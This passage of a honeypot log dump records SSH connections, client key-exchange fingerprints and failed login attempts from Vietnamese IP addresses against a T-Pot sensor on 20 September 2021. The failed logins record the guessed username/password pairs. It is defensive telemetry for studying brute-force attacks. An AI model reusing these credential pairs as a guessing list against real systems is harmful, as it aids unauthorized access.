6,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23692	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:46.585614+03	2021-09-20 14:15:07.832471+03	{"_id": "8wbjAnwBvYTbRNuE-Q5-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/Welcome123] failed", "session": "a13ab08649e3", "@version": "1", "password": "Welcome123", "username": "root", "timestamp": "2021-09-20T11:07:46.585614Z", "@timestamp": "2021-09-20T11:07:46.585Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23693	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:46.32531+03	2021-09-20 14:15:07.83347+03	{"_id": "9AbjAnwBvYTbRNuE-Q6B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:34676 (192.168.176.2:22) [session: 31d9f752e078]", "session": "31d9f752e078", "@version": "1", "protocol": "ssh", "src_port": 34676, "dest_port": 22, "timestamp": "2021-09-20T11:07:46.325310Z", "@timestamp": "2021-09-20T11:07:46.325Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23694	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:46.328691+03	2021-09-20 14:15:07.834471+03	{"_id": "AwbjAnwBvYTbRNuE-Q-B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34676, "timestamp": "2021-09-20T11:07:46.328691", "@timestamp": "2021-09-20T11:07:46.328Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23695	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:07:46.553492+03	2021-09-20 14:15:07.8365+03	{"_id": "BAbjAnwBvYTbRNuE-Q-B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 34676, "dest_port": 22, "timestamp": "2021-09-20T11:07:46.553492", "@timestamp": "2021-09-20T11:07:46.553Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23696	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:46.347582+03	2021-09-20 14:15:07.837473+03	{"_id": "BQbjAnwBvYTbRNuE-Q-B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a69663fcb61b", "@version": "1", "timestamp": "2021-09-20T11:07:46.347582Z", "@timestamp": "2021-09-20T11:07:46.347Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23697	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:46.384883+03	2021-09-20 14:15:07.839501+03	{"_id": "BgbjAnwBvYTbRNuE-Q-B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 9 seconds", "session": "1d917e941c5d", "@version": "1", "duration": 9.075698137283325, "timestamp": "2021-09-20T11:07:46.384883Z", "@timestamp": "2021-09-20T11:07:46.384Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23698	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:46.55374+03	2021-09-20 14:15:07.8405+03	{"_id": "BwbjAnwBvYTbRNuE-Q-B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "31d9f752e078", "@version": "1", "timestamp": "2021-09-20T11:07:46.553740Z", "@timestamp": "2021-09-20T11:07:46.553Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23699	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:46.845347+03	2021-09-20 14:15:07.8425+03	{"_id": "CAbjAnwBvYTbRNuE-Q-B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [frank/frank] failed", "session": "1722db1c4cdd", "@version": "1", "password": "frank", "username": "frank", "timestamp": "2021-09-20T11:07:46.845347Z", "@timestamp": "2021-09-20T11:07:46.845Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23700	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:46.988393+03	2021-09-20 14:15:07.843471+03	{"_id": "CQbjAnwBvYTbRNuE-Q-B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [steve/steve] failed", "session": "bc8abe3e5bc5", "@version": "1", "password": "steve", "username": "steve", "timestamp": "2021-09-20T11:07:46.988393Z", "@timestamp": "2021-09-20T11:07:46.988Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23701	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:47.070981+03	2021-09-20 14:15:07.844499+03	{"_id": "CgbjAnwBvYTbRNuE-Q-B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [nobody/nobody] failed", "session": "0c4cc4448a62", "@version": "1", "password": "nobody", "username": "nobody", "timestamp": "2021-09-20T11:07:47.070981Z", "@timestamp": "2021-09-20T11:07:47.070Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23702	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:47.672961+03	2021-09-20 14:15:07.845503+03	{"_id": "CwbjAnwBvYTbRNuE-w_k", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 316117839213614, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 54290, "dest_port": 22, "timestamp": "2021-09-20T11:07:47.672961Z", "@timestamp": "2021-09-20T11:07:47.672Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23703	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:47.673016+03	2021-09-20 14:15:07.8465+03	{"_id": "DgbjAnwBvYTbRNuE_A_H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54290, "timestamp": "2021-09-20T11:07:47.673016", "@timestamp": "2021-09-20T11:07:47.673Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23704	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:47.713893+03	2021-09-20 14:15:07.848499+03	{"_id": "EwbjAnwBvYTbRNuE_A_J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", 